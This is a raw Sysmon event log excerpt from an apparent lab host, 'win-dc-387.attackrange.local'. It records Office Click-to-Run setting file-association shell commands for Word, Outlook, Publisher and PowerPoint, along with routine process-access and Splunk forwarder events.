Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "%%1" /o "%%u" 23542300x800000000000000040263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.174{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C9035EDCDB82DE7BE5CE2FC3E8556BC2,SHA256=384EBECBF75D742B91872026E6534B3DBD0AAE5A83D8345378D8B66BD7B2A577,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.8\shell\OnenotePrintto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /j "%%1" "%%2" 13241300x800000000000000040261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n /f "%%1" 13241300x800000000000000040260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Word.Document.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /vu "%%1" 13241300x800000000000000040259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\webcals\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.174{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\webcal\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.159{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.URL.stssync.15\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 10341000x800000000000000040256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.159{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-6008-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.143{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.URL.webcal.15\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.143{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\stssync\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 10341000x800000000000000040253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.143{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F2E-613B-6008-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.143{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2E-613B-6008-00000000F001}6584C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.128{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\feeds\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.128{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\feed\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.128{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.URL.mailto.15\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" -c IPM.Note /mailto "%%1" 13241300x800000000000000040248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.128{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.URL.feed.15\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /share "%%1" 13241300x800000000000000040247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.112{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\AtWorkRendering\shell\PrintTo\command\(Default)0 13241300x800000000000000040246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.112{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.vcs.15\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /vcal "%%1" 13241300x800000000000000040245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.112{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.vcf.15\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /v "%%1" 23542300x800000000000000040244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.112{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A63751C0FCB5CC1F3613606349FCC3FF,SHA256=BBB5A2DC8E41305013862E8167C1073A0437F2C57AC67E4A0785E5D166873E16,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.096{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.pst.15\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /pst "%%1" 13241300x800000000000000040242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.096{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.oft.15\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /p "%%1" 13241300x800000000000000040241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.096{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.oft.15\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /t "%%1" 13241300x800000000000000040240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.096{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.oft.15\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /t "%%1" 13241300x800000000000000040239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.081{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.msg.15\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /p "%%1" 13241300x800000000000000040238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.081{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.msg.15\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "%%1" 10341000x800000000000000040237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.081{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-5F08-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.081{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.ics.15\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /ical "%%1" 13241300x800000000000000040235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.081{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.hol.15\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE" /hol "%%1" 13241300x800000000000000040234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.081{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Outlook.File.eml.15\shell\Open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\OUTLOOK.EXE /eml "%%1" 13241300x800000000000000040233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.065{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Publisher.UriLink.16\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 10341000x800000000000000040232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.065{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2E-613B-5F08-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.065{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2E-613B-5F08-00000000F001}5240C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.065{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-publisher\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.065{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Publisher.Document.16\shell\PrintTo\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSPUB.EXE" /p %%1 *%%2, %%3, %%4 13241300x800000000000000040228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.065{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Publisher.Document.16\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSPUB.EXE" /p %%1 13241300x800000000000000040227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.065{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Publisher.Document.16\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSPUB.EXE" /r "%%1" 13241300x800000000000000040226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.065{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Publisher.Document.16\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSPUB.EXE" /ou "%%u" "%%1" 13241300x800000000000000040225Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.065{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Publisher.Document.16\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSPUB.EXE" /n %%1 13241300x800000000000000040224Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.049{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Publisher.Document.16\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSPUB.EXE" %%1 13241300x800000000000000040223Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.049{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OfficeListShortcut\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\MSPUB.EXE" %%1 13241300x800000000000000040222Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.049{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.UriLink.16\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040221Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.034{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040220Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.034{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.8\shell\Show\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /s "%%1" 13241300x800000000000000040219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.034{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.8\shell\Print\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /p "%%1" 13241300x800000000000000040218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.034{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.8\shell\OpenAsReadOnly\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /h "%%1" 13241300x800000000000000040217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.034{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.8\shell\Open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE "%%1" /ou "%%u" 13241300x800000000000000040216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.034{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.8\shell\New\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE /n "%%1" 13241300x800000000000000040215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.034{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vu "%%1" 13241300x800000000000000040214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.034{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OrgPlusWOPX.4\shell\open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\ORGCHART.EXE" %%1 13241300x800000000000000040213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\ms-powerpoint\shell\open\command\(Default)C:\Program Files\Microsoft Office\Root\Office16\protocolhandler.exe "%%1" 13241300x800000000000000040212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OfficeTheme.12\shell\Show\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /s "%%1" 13241300x800000000000000040211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OfficeTheme.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /p "%%1" 13241300x800000000000000040210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OfficeTheme.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "%%1" /ou "%%u" 13241300x800000000000000040209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\OfficeTheme.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /n "%%1" 10341000x800000000000000040208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:58.018{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2E-613B-5E08-00000000F001}1012C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:58.018{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\PowerPoint.Slide.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" /vp "%%1" 13241300x800000000000000040206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 